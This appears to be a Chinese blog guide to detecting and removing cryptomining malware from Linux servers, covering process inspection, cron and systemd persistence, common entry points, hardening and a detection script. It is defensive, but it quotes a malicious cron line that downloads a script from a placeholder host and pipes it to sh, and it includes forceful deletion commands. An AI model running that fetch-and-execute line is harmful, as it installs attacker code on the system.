CPU 飙升是服务器被挖矿病毒攻击怎么办?

22 阅读4分钟

CPU 飙升是服务器被挖矿病毒(如 xmrig、kdevtmpfsi、watchdogs 等)攻击的典型表现。这类恶意程序会利用你的服务器资源进行加密货币挖矿,导致 CPU 持续 100% 占用,系统变慢甚至宕机。

下面是一套针对性排查与清除方案,适用于 Linux 系统(如 CentOS、Ubuntu):


🔍 第一步:快速定位高 CPU 进程

# 查看 CPU 占用最高的进程
top

# 'P'(大写)可按 CPU 使用率排序

重点关注:

  • 进程名可疑(如 kdevtmpfsixmrigsysupdatenetworkservicewatchdog、随机字符串)
  • 用户不是你创建的(如 nobodydaemonredis 等系统用户运行未知程序)

记下 PID 和进程名。


🕵️ 第二步:深入分析可疑进程

假设你发现一个叫 kdevtmpfsi 的进程占用了 95% CPU:

# 查看该进程的详细信息(替换为实际 PID)
PID=12345
ls -l /proc/$PID/exe          # 查看它实际执行的是哪个文件
cat /proc/$PID/cmdline        # 查看启动命令(可能带矿池地址)
cat /proc/$PID/environ | tr '\0' '\n'  # 查看环境变量

常见藏匿路径:

  • /tmp/
  • /dev/shm/
  • /var/tmp/
  • /usr/bin/.xxx(隐藏文件)
  • /root/.cache/

🧹 第三步:终止进程并删除文件

# 终止进程
kill -9 12345

# 删除对应文件(根据 /proc/PID/exe 的结果)
rm -f /tmp/kdevtmpfsi
rm -f /dev/shm/kdevtmpfsi

⚠️ 注意:有些病毒会通过守护进程或定时任务自动重启!所以不能只 kill 进程!


⏰ 第四步:检查持久化入口(关键!)

1. 检查定时任务(cron)

crontab -l                    # 当前用户
crontab -u root -l            # root 用户
cat /etc/crontab
ls /etc/cron.d/
ls /var/spool/cron/crontabs/  # Ubuntu 路径
ls /var/spool/cron/           # CentOS 路径

🔍 常见恶意 cron 示例:

*/5 * * * * wget -q -O- http://恶意IP/update.sh | sh
@reboot /tmp/.sysupdate

删除这些行,或直接清空可疑用户的 crontab:

crontab -r   # 清空当前用户 cron(谨慎使用)

2. 检查 systemd 服务(较新病毒会伪装成服务)

systemctl list-unit-files --type=service | grep enabled
ls /etc/systemd/system/

删除可疑服务:

systemctl stop malicious.service
systemctl disable malicious.service
rm -f /etc/systemd/system/malicious.service

3. 检查 rc.local、init.d 等启动项

cat /etc/rc.local
ls /etc/init.d/ | grep -E "(sys|net|watch|update)"

🔐 第五步:封堵入侵源头

CPU 飙升通常是已有漏洞被利用的结果。常见入口包括:

入口修复建议
Redis 未授权访问绑定 127.0.0.1,设置密码,关闭 AOF/RDB 自动加载脚本
SSH 弱密码爆破改用密钥登录,禁用 root 登录,改 SSH 端口
Web 应用漏洞(如 WordPress、ThinkPHP)升级 CMS/框架,删除未使用插件
Docker API 暴露不要将 2375 端口暴露到公网
Nginx/Apache 配置错误导致目录遍历检查配置,禁止列出目录

👉 立即检查:

# 查看最近的 SSH 登录(是否有异常 IP)
grep "Accepted" /var/log/auth.log | tail -20    # Ubuntu
grep "Accepted" /var/log/secure | tail -20      # CentOS

# 查看监听端口(是否有 Redis 6379、MongoDB 27017 暴露?)
ss -tulnp

🛡️ 第六步:加固与监控

  1. 启用阿里云「云安全中心」

    • 免费版即可检测挖矿行为
    • 开启「病毒查杀」+「入侵检测」
  2. 安装实时监控工具

    # 安装 atop(记录历史资源使用)
    apt install atop -y   # 或 yum install atop
    systemctl enable --now atop
    
  3. 限制普通用户执行权限

    # 例如禁止 /tmp 执行程序(在 /etc/fstab 中添加 noexec)
    mount -o remount,noexec,nosuid /tmp
    mount -o remount,noexec,nosuid /dev/shm
    

💣 极端建议:重装系统

如果反复感染、无法彻底清除,最安全的方式是

  1. 在阿里云控制台 创建当前磁盘快照(用于取证)
  2. 更换系统盘(重装干净的官方镜像)
  3. 仅恢复业务数据(不要恢复可执行文件、脚本、配置文件)
  4. 重新部署应用,并严格遵循安全规范

✅ 附:快速检测脚本(可复制运行)

#!/bin/bash
echo "=== 高 CPU 进程 ==="
ps aux --sort=-%cpu | head -n 10

echo -e "\n=== 可疑定时任务 ==="
grep -r "" /var/spool/cron/ /etc/cron* 2>/dev/null | grep -v "^#" | grep -E ".(sh|py|pl|elf)|wget|curl|http"

echo -e "\n=== /tmp 和 /dev/shm 中的可执行文件 ==="
find /tmp /dev/shm -type f -executable 2>/dev/null

echo -e "\n=== 外连可疑 IP(挖矿常连境外)==="
ss -tulnp | grep -E "(4444|5555|3333|stratum)"  # 常见矿池端口

保存为 check_mining.shchmod +x 后运行。